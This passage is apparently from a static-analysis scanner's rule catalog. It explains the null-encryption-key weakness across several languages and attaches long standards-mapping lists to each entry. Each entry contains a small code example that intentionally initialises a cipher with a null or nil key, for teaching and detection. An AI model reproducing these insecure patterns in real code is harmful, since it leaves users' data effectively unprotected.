[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a null encryption key:


...
char encryptionKey[] = null;
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.cpp.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it is extremely difficult to fix the problem. After the offending code is in production, changing the null encryption key requires a software patch. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
aes.NewCipher(nil)
...


Anyone with access to the code can determine that it uses a null encryption key. Additionally, anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
SecretKeySpec key = null;
....
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
var crypto = require('crypto');
var encryptionKey = null;
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
